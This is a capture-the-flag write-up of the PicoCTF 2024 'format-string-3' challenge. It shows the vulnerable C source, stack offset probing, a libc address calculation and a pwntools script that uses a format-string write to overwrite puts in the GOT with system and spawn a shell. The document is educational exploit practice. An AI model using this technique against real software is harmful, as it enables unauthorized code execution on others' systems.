PicoCTF 2024: format-string-3
Recon
This challenge was given along with a libc and and interpreter file:
$ file format-string-3
format-string-3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=54e1c4048a725df868e9a10dc975a46e8d8e5e92, not stripped
$ file libc.so.6
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=8bfe03f6bf9b6a6e2591babd0bbc266837d8f658, for GNU/Linux 4.4.0, stripped
$ file ld-linux-x86-64.so.2
ld-linux-x86-64.so.2: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), static-pie linked, BuildID[sha1]=6ebd6e95dffa2afcbdaf7b7c91103b23ecf2b012, stripped
We can see that the main binary uses the interpreter given in the current folder. Taking a quick look at the protections, we see that PIE is enabled on the libc, but not on the main binary. Also, the challenge does not have Full RELRO on the main file:
➜ fmt3 venv
$ checksec format-string-3
[*] '/home/qelal/PicoCTF/fmt3/format-string-3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
$ checksec libc.so.6
[*] '/home/qelal/PicoCTF/fmt3/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
That is quite interesting. We can now take a look at the source code:
#include <stdio.h>
#define MAX_STRINGS 32
char *normal_string = "/bin/sh";
void setup() { // setting up the chall }
void hello() {
puts("Howdy gamers!");
printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}
int main() {
char *all_strings[MAX_STRINGS] = {NULL};
char buf[1024] = {'\0'};
setup();
hello();
fgets(buf, 1024, stdin);
printf(buf);
puts(normal_string);
return 0;
}Two interesting things here: - the first is that there is an obvious
format string vulnerability on the printf(buf) call, which
allows for arbitrary read/write as we know; - the second is that we call
puts() on /bin/sh.
Of course showing /bin/sh to the screen isn’t nefarious,
but we can take advantage of this argument placement and change
puts() to something else..
The idea here is that we will have to overwrite an entry in the GOT,
to change the puts("/bin/sh") call to
system("/bin/sh") and get a shell.
Finding the stack user input offset
First we’ll see where our user input ends up on the stack, by writing
a noticeable “A” chain and then spamming %p format
specifiers until we get there:
$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f833ed353f0
AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
AAAAAAAA0x7f833ee93963.0xfbad208b.0x7fff4c619340.0x1.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.
/bin/sh
It seems to be at position 38. Just to be sure:
$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f48bdb1b3f0
AAAAAAAA%38$p
AAAAAAAA0x4141414141414141
/bin/sh
Yep, that is our offset.
Leaking libc addresses
One thing we notice from the program’s behavior is that it gives us
the address for a random C function, setvbuf. It is not
really useful for us in itself, but we can use this knowledge to leak
the libc base address, or directly another function’s address.
I chose not to bother with the libc base here, and go straight for
system().
So, from static analysis on the libc.so.6 file, we can
find the offsets for setvbuf and also for
system:
.text:000000000004F760 system proc near ; DATA XREF: LOAD:000000000000B160↑o
[...]
.text:000000000007A3F0 setvbuf proc near ; CODE XREF: setlinebuf+D↓j
We have both offsets. Knowing this, we can establish the difference
between those two symbols, and get the address we want from
setvbuf’s leak:
difference = 0x7A3F0 - 0x4F760 = 0x2AC90
system() = setvbuf() - 0x2AC90
Perfect! Now when the program will leak setvbuf, we will
simply catch the address, and derive system from it.
Finding puts in the GOT
The last information we need for the exploit to succeed is the
address of puts. We can find it using dynamic analysis with
Pwndbg: breaking when we’re in the program and noting the address from
here:
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/qelal/PicoCTF/fmt3/format-string-3:
GOT protection: Partial RELRO | Found 4 GOT entries passing the filter
[0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e59bf0 (puts) ◂— endbr64
[0x404020] __stack_chk_fail@GLIBC_2.4 -> 0x401040 ◂— endbr64
[0x404028] printf@GLIBC_2.2.5 -> 0x7ffff7e36250 (printf) ◂— endbr64
[0x404030] fgets@GLIBC_2.2.5 -> 0x7ffff7e57d40 (fgets) ◂— endbr64
So, in the GOT, puts is at 0x404018. No PIE
so it stays the same everytime.
Automating the format string exploitation
Now we know that we have to write the address for system
(that we leaked), instead of puts, at offset 38 on the
stack. Writing a manual exploit is long and boring (although it’s
important to grasp the knowledge of how the format string arbitrary
write works, but once you’ve done it, I’d consider using the automated
helper from Pwntools to save some time) so we’ll go with
fmtstr_payload:
io = start()
io.recvline()
setvbuf_addr = int(io.recvline().split(b"libc: ")[1].strip(b'\n'), 0)
system_addr = setvbuf_addr - 0x2AC90
puts_plt_addr = 0x404018
payload = fmtstr_payload(38, {puts_plt_addr: system_addr})
with open("payload", "wb") as file:
file.write(payload)
io.sendline(payload)
io.interactive()And finally we get our shell:
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x1a bytes:
b'picoCTF{G07_G07?_[REDACTED]}'